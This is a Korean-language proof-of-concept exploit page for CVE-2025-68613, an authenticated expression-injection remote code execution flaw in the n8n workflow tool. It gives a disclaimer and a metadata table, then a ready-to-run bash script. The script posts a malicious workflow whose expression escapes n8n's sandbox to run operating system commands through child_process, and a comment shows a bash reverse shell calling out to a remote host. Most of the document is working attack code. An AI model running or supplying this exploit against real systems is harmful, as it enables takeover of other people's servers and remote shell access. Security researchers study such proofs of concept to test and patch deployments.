
Proof-of-Concept 개념 증명 익스플로잇 for CVE-2025-68613: n8n에서 표현식 주입을 통한 인증된 원격 코드 실행
n8n 워크플로우 자동화 도구의 치명적인 원격 코드 실행 (CVSS 9.9)
개념 증명 – 교육 및 허가된 보안 연구용으로만 사용
이 코드는 교육 목적과 통제된 실험 환경에서의 허가된 보안 테스트를 위해 엄격하게 제공됩니다.
프로덕션 시스템이나 명시적인 서면 허가 없이 모든 시스템에 무단 사용하는 것은 불법이며 대부분의 관할권에서 컴퓨터 오용 및 사이버 보안 법률을 위반합니다.
사용은 본인의 책임입니다. 작성자는 어떠한 오용에 대해서도 책임을 지지 않습니다.
| 필드 | 세부사항 |
|---|
| 익스플로잇 제목 | n8n 인증된 표현식 삽입 원격 코드 실행 |
| CVE | CVE-2025-68613 |
| 공개 날짜 | 2025-12-25 |
| 작성자 | Mohammed Idrees Banyamer |
| 작성자 국가 | 요르단 |
| 연락처 / 소셜 | 인스타그램: @banyamer_security |
| GitHub | mbanyamer |
| 공급업체 | n8n.io |
| 소프트웨어 저장소 | github.com/n8n-io/n8n |
| 취약한 버전 | ≥ 0.211.0 < 1.120.4 |
| 패치된 버전 | 1.120.4, 1.121.1, 1.122.0 이상 |
| 테스트 환경 | n8n 1.119.3 (Docker) |
| 취약점 유형 | 표현식 샌드박스 이스케이프를 통한 인증된 원격 코드 실행 |
| CVSS 점수 | 9.9 (치명적) |
이 취약점은 인증된 사용자가 n8n의 표현식 샌드박스를 우회하는 악성 표현식을 사용하여 워크플로우를 생성하거나 수정할 수 있게 하며, 결과적으로 n8n 프로세스의 권한으로 전체 운영 체제 명령 실행이 가능합니다.
#!/bin/bash
# Exploit Title: n8n Authenticated Expression Injection RCE
# Date: 2025-12-25
# Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://n8n.io
# Software Link: https://github.com/n8n-io/n8n
# Version: >=0.211.0 <1.120.4
# Tested on: n8n 1.119.3 (Docker)
# CVE : CVE-2025-68613
TARGET="http://localhost:5678" # ← Change to your target
API_KEY="your_n8n_api_key_here" # ← Insert valid API Key (or use Basic Auth / session)
CMD="id" # ← Test command
# Example reverse shell: "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
PAYLOAD="{{ (function(){ return this.process.mainModule.require('child_process').execSync('${CMD}').toString() })() }}"
echo "[*] Sending malicious workflow to ${TARGET}"
curl -s -X POST "${TARGET}/rest/workflows" \
-H "Content-Type: application/json" \
-H "X-N8N-API-KEY: ${API_KEY}" \
-d '{
"name": "CVE-2025-68613 PoC",
"active": false,
"nodes": [
{
"parameters": {
"values": {
"string": [
{
"name": "result",
"value": "'${PAYLOAD}'"
}
]
}
},
"name": "Exploit",
"type": "n8n-nodes-base.set",
"typeVersion": 1,
"position": [460, 300]
}
],
"connections": {}
}'
echo -e "\n[!] Check n8n logs or the output node in the created workflow for command result\n"